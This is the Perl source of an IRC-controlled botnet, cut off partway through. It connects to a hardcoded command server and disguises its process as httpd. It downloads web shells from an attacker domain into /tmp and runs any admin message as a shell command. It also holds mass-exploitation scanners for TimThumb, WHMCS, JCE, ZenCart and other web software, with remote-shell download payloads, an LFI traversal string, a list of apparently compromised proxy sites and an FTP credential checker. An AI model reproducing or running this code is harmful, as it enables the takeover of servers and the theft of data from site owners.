#!/usr/bin/perl use HTTP::Request; use HTTP::Request::Common; use HTTP::Request::Common qw(POST); use LWP::Simple; use LWP 5.64; use LWP::UserAgent; use Socket; use IO::Socket; use IO::Socket::INET; use IO::Select; use MIME::Base64; use URI::Escape; use Digest::MD5 qw(md5_hex); use DBI; use DBD::mysql; my @array = ( 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'i', 'O', 'Y', 'T', 'Y', 'O', 'O', 'P', 'p', 'B', 'C', 'R', 'O', 'S', 'E', 'K', 'J', 'W', 'NS', 'j', 'k', 'v', 'w', 'x', 'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0' ); my $nickname = "Jabar-" . $array[ rand(@array) ] . $array[ rand(@array) ] . $array[ rand(@array) ] . $array[ rand(@array) ] . $array[ rand(@array) ] . $array[ rand(@array) ]; my $datetime = localtime; my $fakeproc = "/usr/sbin/httpd"; my $ircserver = "5.135.208.233"; my $ircport = "66661"; my $ident = "Scanner"; my $key = "Scanner"; my $password = "Scanner"; my $channel = "#komuniti"; my $chanxxx = "#komuniti"; my $chaninfo = "#komuniti"; my $submitchan = "#komuniti"; my $admin = "pico"; my $fullname = "Scanner"; my $rawmsg = $ARGV[4]; my $msgraw = $ARGV[5]; #auth = "fuckoff"; my $up = `uptime`; my $nob0dy = "5,1-¤4»]9FuckOFF4[«5¤-"; my $syslogo = "3,1{-{4@13Fu5ck13OFF4@3}-} "; my $helplogo = "5¤4»13]H5EL13P[4«5¤ "; my $thumblogo = "5¤4»3]TIM[4«5¤ "; my $oscologo = "5¤4»3]OsCommerce[4«5¤ "; my $lfilogo = "5¤4»3]LFI[4«5¤ "; my $e107logo = "5¤4»3]E107[4«5¤ "; my $whmcslogo = "5¤4»3]WHMCS[4«5¤ "; my $zerologo = "5¤4»3]ZeroBoard[4«5¤ "; my $mmfclogo = "5¤4»3]MMFC[4«5¤ "; my $rfilogo = "5¤4»3]RFI[4«5¤ "; my $zenlogo = "5¤4»3]ZenCart[4«5¤ "; my $jcelogo = "5¤4»3]JCE[4«5¤ "; my $xmllogo = "5¤4»3]XML[4«5¤ "; my $rfglogo = "5¤4»3]RFG[4«5¤ "; my $thumbcmd = "!tim"; my $whmcscmd = "!wim"; my $oscocmd = "!osco"; my $lficmd = "!lfi"; my $e107cmd = "!e107"; my $zerocmd = "!zero"; my $mmfccmd = "!mmfc"; my $rficmd = "!rfi"; my $zencmd = "!zen"; my $jcecmd = "!jcs"; my $xmlcmd = "!xml"; my $zencpcmd = "!zencp"; my $rfgcmd = "!rfg"; my $spreadMode = 1; my $gps = 1; my $gps2 = 1; my $timot = 10; my $silentmode = 0; my $zerowget = 1; my $zerolwp = 1; my $zerocurl = 1; my $sys = `uname -a`; my $up = `uptime`; my $hostinjector = "wordpress.com.timsagida.com.tr"; my $thumbid = "http://".$hostinjector."/shellx.php"; my $thumbidx = "http://".$hostinjector."/cpx.php"; my $injector = "http://".$hostinjector."/petx.jpg"; my $botshell = "http://".$hostinjector."/petx.jpg"; my $botshell2 = "http://".$hostinjector."/cpx.jpg"; my $botshell3 = "http://".$hostinjector."/btxxx.php"; my $subticket = "/submitticket.php?step=2&deptid=1"; my $md5php = md5_hex($thumbid).".php"; my $md5cps = md5_hex($thumbidx).".php"; my $md5bot = md5_hex($botshell3).".php"; my $timid = uri_escape($thumbid); my $timidx = uri_escape($thumbidx); my $timid3 = uri_escape($botshell3); my $action = "/data/shell.php"; my $zen_shell = "shellx.php"; my $zen_bot = "cpx.php"; my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fshellx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtxxx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fcpx.php"; my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fshellx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtxxx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php"; my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fshellx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtxxx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php"; my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28"; my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000"; my @bypasser2 = ("http://bentolunch.org/blog/wp-includes/google.php","http://www.mr-pepper.cz/wp-includes/google.php","http://www.motomikser.pl//images/stories/google.php","http://galaxiabit.com/google.php","http://sonnenschein-minden.de/images/stories/google.php","http://opalo.tv//images/stories/google.php","http://www.condomania.ec/condomania//images/stories/google.php","http://www.louer-appartement-chatel.fr//wp-admin/vision.php","http://trangdiemlamdep.com.vn//images/stories/google.php"); my $bypass2 = $bypasser2[rand(scalar(@bypasser2))]; my $jpath = "/wp-includes/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q="; my $jpath1 = "/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q="; my $jack1 = "http://www.monabank.co.in//images/stories/eror.php?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q="; #"http://www.pro-family.com".$jpath1; my $jack2 = "http://malgraf.pl/images/stories/errors.php?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q="; #"http://bloom-studio.com".$jpath; my $jack3 = "http://www.handvaegerenbleek.nl//images/stories/errors.php?____pgfa=http%253A%252F%252Fwww.google.de%252Fsearch?q="; #"http://notebooktamiri.name".$jpath; my $jack4 = "http://www.ddbanafre.com.urltemporario.net//images/stories/errors.php?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q="; #"http://poseti.bg".$jpath; my $jack5 = "http://www.ddbanafre.com.urltemporario.net//images/stories/errors.php?____pgfa=http%253A%252F%252Fwww.google.com%252Fsearch?q="; #"http://derinlerdebirukala.com".$jpath; my $jack6 = "http://www.islepark.it/images/stories/t/error.php?q="; #"http://derinlerdebirukala.com".$jpath; my $jack7 = "http://www.wattabook.com/images/stories/t/error.php?q="; #"http://bloom-studio.com".$jpath; my $jack8 = "http://www.islepark.it/images/stories/t/error.php?q="; #"http://poseti.bg".$jpath; my $jack9 = "http://www.wattabook.com/images/stories/t/error.php?q="; #"http://bloom-studio.com".$jpath; my $jack10 = "http://www.islepark.it/images/stories/t/error.php?q="; #"http://notebooktamiri.name".$jpath; my $engine = "About,Dogpile,Metacrawler,Kvasir,Yahoo2,Aol,Clix,Pagina,dMoz,UoL,Lycos,Onet,Biglobe,OutLooK,Google,Google2,Yahoo,Sapo,Seznam,Ask,Walla,Hotbot,GooUK,GooBR,GooRU,GooNET,GooIT,GooCOM,GooORG,GooDE,GooFR,GooCZ,GooIR,GooME,GooTW,GooCL,GooSE,GooCA,GooMX,GooNL,GooDK,GooUS,GooINFO,GooIN,GooMY,GooSK,GooTR,GooEDU,GooNO,GooTH,GooID,GooPL,GooAR,GooES,GooVE,GooRO,GooBIZ,GooCN,GooKR,GooZA,GooVN,GooSI,GooEU,GooBE,GooHU,GooLV,GooUA,GooIE,GooTV,GooCO,GooPRO,GooNAME,GooBY,GooPH,GooJP,GooAU,GooCAT,GooHK,GooAT,GooSU,GooMOBI,GooASIA,GooCOOP,GooAE,GooMN,GooBG,GooNZ,GooEE,GooGR,GooPT,GooTN,GooKE,GooFI,GooHR,GooCH,GooIL,GooPE,GooMD,GooCC"; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; chdir("/tmp"); chop (my $priper = `wget http://wordpress.com.timsagida.com.tr/petx.jpg -O petx.jpg;wget http://wordpress.com.timsagida.com.tr/petx.jpg -O petx.jpg;wget http://wordpress.com.timsagida.com.tr/cpx.jpg -O cpx.jpg;wget http://wordpress.com.timsagida.com.tr/btxxx.php -O btxxx.php;wget http://wordpress.com.timsagida.com.tr/xxx.php -O xxx.php;wget http://wordpress.com.timsagida.com.tr/xx.php -O xx.php`); $ircserver = "$ARGV[0]" if $ARGV[0]; $ircport = "$ARGV[1]" if $ARGV[1]; $nickname = "$ARGV[2]" if $ARGV[2]; $channel = '#'."$ARGV[3]" if $ARGV[3]; $0 = "$fakeproc"."\0" x 16; my $pid = fork; exit if $pid; die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_client = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_client->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; nick("$mynick"); sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname"); sleep(1);}} sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick($mynick."[".int rand(1)."]"); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; sendraw("MODE $mynick +Bx"); sendraw("NS id qwe123"); sleep(3); sendraw("JOIN $channel correct"); sendraw("JOIN $chaninfo mejen"); sendraw("JOIN $chaninfo"); sleep(1); sendraw("PRIVMSG $channel :$syslogo9V13-Private 11ON "); sendraw("PRIVMSG $channel :$syslogo4© Coded by smoo"); sendraw("PRIVMSG $admin :Hi $admin im here !!!"); } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); } select(undef, undef, undef, 0.01); delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $ircmsg); $ircmsg =~ s/\r\n$//; if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); if ($path eq $mynick) { if ($msg =~ /^PING (.*)/) { sendraw("NOTICE $nick :PING $1"); } if ($msg =~ /^VERSION/) { sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey"); } if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$datetime.""); } if (&isAdmin($nick) && $msg eq "!die") { &msg("$path","$syslogo9Bye Bye !"); &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!killme") { &msg("$path","$syslogo9Bye Bye !"); &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { &msg("$path","$syslogo9Be Right Back $admin !"); sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!comein \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1); } if (&isAdmin($nick) && $msg =~ /^!pid/) { sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$"); } if (&isAdmin($nick) && $msg !~ /^!/) { &shell("$nick","$msg"); } if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) { sendraw("$rawmsg $msgraw ".$1); } if (&isAdmin($nick) && $msg =~ /^!say (.+)/) { sendraw("PRIVMSG $rawmsg ".$1); } if (&isAdmin($nick) && $msg =~ /^!act (.+)/) { sendraw("PRIVMSG $rawmsg :ACTION ".$1.""); } } else { if (&isAdmin($nick) && $msg eq "!die") { &msg("$path","$syslogo9Bye Bye !"); &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!killme") { &msg("$path","$syslogo9Bye Bye !"); &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { &msg("$path","$syslogo9Be Right Back $admin !"); sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!comein \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg eq "!part") { sendraw("PART $path"); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) { &shell("$path","$1"); } if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) { &shell("$path","$1"); } ##################################################################### HELP COMMAND if ($msg=~ /^!help/) { &msg("$path","$syslogo9FuckOFF! $helplogo"); &msg("$path","$syslogo9$thumbcmd 7[BUG] [DORK] 15TimThumb Scanner! $helplogo"); &msg("$path","$syslogo9$whmcscmd 7[DORK] 15WHMCS Scanner! $helplogo"); &msg("$path","$syslogo9$oscocmd 7[DORK] 15OsCommerce Scanner! $helplogo"); &msg("$path","$syslogo9$lficmd 7[BUG] [DORK] 15LFI Scanner! $helplogo"); &msg("$path","$syslogo9$e107cmd 7[DORK] 15E107 Scanner! $helplogo"); &msg("$path","$syslogo9$zerocmd 7[DORK] 15ZeroBoard Scanner! $helplogo"); &msg("$path","$syslogo9$mmfccmd 7[DORK] 15MMFC Scanner! $helplogo"); &msg("$path","$syslogo9$rficmd 7[BUG] [DORK] 15RFI Scanner! $helplogo"); &msg("$path","$syslogo9$zencmd 7[DORK] 15ZenCart Upload Scanner! $helplogo"); &msg("$path","$syslogo9$jcecmd 7[DORK] 15JCE Scanner! $helplogo"); &msg("$path","$syslogo9$xmlcmd 7[BUG] [DORK] 15XML Scanner! $helplogo"); &msg("$path","$syslogo9$zencpcmd 7[DORK] 15ZenCart CP Scanner! $helplogo"); &msg("$path","$syslogo9$rfgcmd 7[DORK] 15RFG Scanner! $helplogo"); &msg("$path","$syslogo9======== EOF Help! 9========$helplogo"); } if ($msg =~ /^!info/) { &msg("$path","$syslogo7Uptime :7 $up"); &msg("$path","$syslogo9-[4© FuckOFF 9]-"); } if (&isAdmin($nick) && $msg =~ /^!pid/) { &msg("$nick","6Fake Process/PID : $fakeproc - $$"); } if ($msg=~ /^!respon/ || $msg=~ /^!id/) { if (&isFound($thumbid,"GIF89")) { &msg("$path","$syslogo7Response is 9OK !"); } else { &msg("$path","$syslogo7Response is 4BAD !"); } } if (&isAdmin($nick) && $msg=~ /^!ip\s+(.*)/ ) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $ip = $1; &msg("$path","$syslogo9Searching15 ".$ip." 9Location"); my $website = "http://www.ipligence.com/geolocation"; my ($useragent,$request,$response,%form); undef %form; $form{ip} = $ip; $useragent = LWP::UserAgent->new; $useragent->timeout(5); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ m/Your IP address is(.*)
City:(.*)Country:(.*)
Continent:(.*)
Time/g) { my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4); &msg("$path","$syslogo9IP Address :15 ".$ip." 9[".$ipaddress."]"); &msg("$path","$syslogo9City :15 ".$ip." 9[".$city."]"); &msg("$path","$syslogo9Country :15 ".$ip." 9[".$country."]"); &msg("$path","$syslogo9Continent :15 ".$ip." 9[".$continent."]"); } else { &msg("$path","$syslogo9".$ip." 4not found in database"); } } else { &msg("$path","$syslogo9Cannot open IP database."); } } exit; } } if (&isAdmin($nick) && $msg=~ /^!dns\s+(.*)/){ my $nsku = $1; $mydns = inet_ntoa(inet_aton($nsku)); &msg("$path", "$syslogo9 $nsku 4Resolved to 9 $mydns"); } if (&isAdmin($nick) && $msg=~ /^!port\s+(.*?)\s+(.*)/ ) { my $hostip= "$1"; my $portsc= "$2"; my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7); if ($scansock) { &msg("$path","$syslogo9 $hostip :4 $portsc 9Successful !"); } else { &msg("$path","$syslogo9 $hostip :9 $portsc 4Failed !"); } } if (&isAdmin($nick) && $msg=~/^!bypass/){ if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = ""; my $cekby1 = &get_content($jack1."google"); if ($cekby1 =~ /google\.com/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4Lost!!!"; } my $cekby2 = &get_content($jack2."google"); if ($cekby2 =~ /google\.com/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4Lost!!!"; } my $cekby3 = &get_content($jack3."google"); if ($cekby3 =~ /google\.com/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4Lost!!!"; } my $cekby4 = &get_content($jack4."google"); if ($cekby4 =~ /google\.com/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4Lost!!!"; } my $cekby5 = &get_content($jack5."google"); if ($cekby5 =~ /google\.com/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4Lost!!!"; } &msg("$path","$syslogo7 1=$bystats17 2=$bystats27 3=$bystats37 4=$bystats47 5=$bystats5") }}} ##################################################################### SCAN if ($msg =~ /!cari\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $find = $1; &msg($path,"$carilogo9 Searching 15$find "); &cari($path,$find); } exit; } } if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ($1,$2); if (&isFound($thumbid,"GIF89")) { &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $thumblogo"); &msg("$path","3,1{-{4@13BuG!4@3}-}9 $bug $thumblogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $thumblogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,1,$nick); } else { &msg("$path","$syslogo9ID4 Lost!!! "); exit; } } } } } if ($msg =~ /^$whmcscmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("cart.php?a=byroe&templatefile=",$1); &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $whmcslogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $whmcslogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,2); } } } if ($msg =~ /^$oscocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $dork = $1; if (&isFound($thumbid,"GIF89")) { &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $oscologo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $oscologo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,"apalah",$dork,$engine,3,$nick); } else { &msg("$path","$syslogo9ID4 Lost!!! "); exit; } } } } if ($msg =~ /^$lficmd\s+(.+?)\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ($1,$2); if (&isFound($thumbid,"GIF89")) { &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $lfilogo"); &msg("$path","3,1{-{4@13BuG!4@3}-}9 $bug $lfilogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $lfilogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,4,$nick); } else { &msg("$path","$syslogo9ID4 Lost!!! "); exit; } } } } if ($msg =~ /^$e107cmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if (&isFound($thumbid,"GIF89")) { my ($bug,$dork) = ("contact.php",$1); &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $e107logo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $e107logo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,5,$nick); } else { &msg("$path","$syslogo9ID4 Lost!!! "); exit; } } } } if ($msg =~ /^$zerocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if (&isFound($thumbid,"GIF89")) { my ($bug,$dork) = ("zboard.php",$1); &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $zerologo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $zerologo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,6,$nick); } else { &msg("$path","$syslogo9ID4 Lost!!! "); exit; } } } } if ($msg =~ /^$mmfccmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php",$1); &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $mmfclogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $mmfclogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,7,$nick); } } } if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ($1,$2); if (&isFound($thumbid,"GIF89")) { &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $rfilogo"); &msg("$path","3,1{-{4@13BuG!4@3}-}9 $bug $rfilogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $rfilogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,8,$nick); } else { &msg("$path","$syslogo9ID4 Lost!!! "); exit; } } } } if ($msg =~ /^$zencpcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("extras/curltest.php",$1); &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $zenlogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $zenlogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,9,$nick); } } } if ($msg =~ /^$jcecmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20",$1); &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $jcelogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $jcelogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,10,$nick); } } } if ($msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ($1,$2); if (&isFound($thumbid,"GIF89")) { &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $xmllogo"); &msg("$path","3,1{-{4@13BuG!4@3}-}9 $bug $xmllogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $xmllogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,11,$nick); } else { &msg("$path","$syslogo9ID4 Lost!!! "); exit; } } } } if ($msg =~ /^$zencmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("admin/product.php/password_forgotten.php?action=new_product_preview",$1); &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $zenlogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $zenlogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,12,$nick); } } } if ($msg =~ /^$rfgcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("wp-content/plugins/radykal-fancy-gallery/admin/image-upload.php",$1); &msg("$chanxxx","$syslogo4$nick 9Scanning on 4$path $rfglogo"); &msg("$path","3,1{-{4@13DoRK!4@3}-}9 $dork $rfglogo"); &msg("$path","$syslogo7Please waiting."); sendraw("MODE $path +m"); &se_start($path,$bug,$dork,$engine,13,$nick); } } } if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($host,$user,$pass) = ($1,$2,$3); &msg("$path","4FTP15 Checking $host | $user:$pass"); my $success = 1; use Net::FTP; my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); $success = 0 if $ftp->login($user,$pass); $ftp->quit; if ($success == 0) { ¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success "); } else { ¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied "); } } } } } } for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line = $line_temp.$line if ($line_temp); $line_temp = ''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } ################################################################################## sub petx() { my $dork = $_[0]; my @targets; for (my $st=0; $st<=1000 ; $st+=100){ my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st; my $browser = &search_engine_query($engine); while ($browser =~ m/ 0) { foreach my $site(@target) { $count++; if ($count == $num-1) { &msg("$chan","$carilogo9Finished 15for 9$dork "); } my $test = "http://".$site.".php?src=".$thumbshell; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $coba = &get_content($test); if ($coba =~ /Unable to open image/) { &msg($chan,"$carilogo9 VulN 4-> 15 http://".$site.".php "); } } exit; } } } } ######################################### sub type() { my ($chan,$bug,$dork,$engine,$type,$nick) = @_; if ($type == 1){$type=&thumb_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 2){$type=&whmcs_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 3){$type=&osco_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 4){$type=&lfi_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 5){$type=&e107_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 6){$type=&zero_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 7){$type=&mmfc_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 8){$type=&rfi_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 9){$type=&zencp_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 10){$type=&jce_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 11){$type=&xml_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 12){$type=&zen_exploit($chan,$bug,$dork,$engine,$nick);} elsif ($type == 13){$type=&rfg_exploit($chan,$bug,$dork,$engine,$nick);} } ################################################################################## sub se_start() { my ($chan,$bug,$dork,$engine,$type,$nick) = @_; if ($gps ==1) { if ($engine =~ /goouk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUK",$type,$nick); } exit; } } if ($engine =~ /goobr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBR",$type,$nick); } exit; } } if ($engine =~ /gooru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooRU",$type,$nick); } exit; } } if ($engine =~ /goonet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNET",$type,$nick); } exit; } } if ($engine =~ /gooit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIT",$type,$nick); } exit; } } if ($engine =~ /goocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCOM",$type,$nick); } exit; } } if ($engine =~ /gooorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; 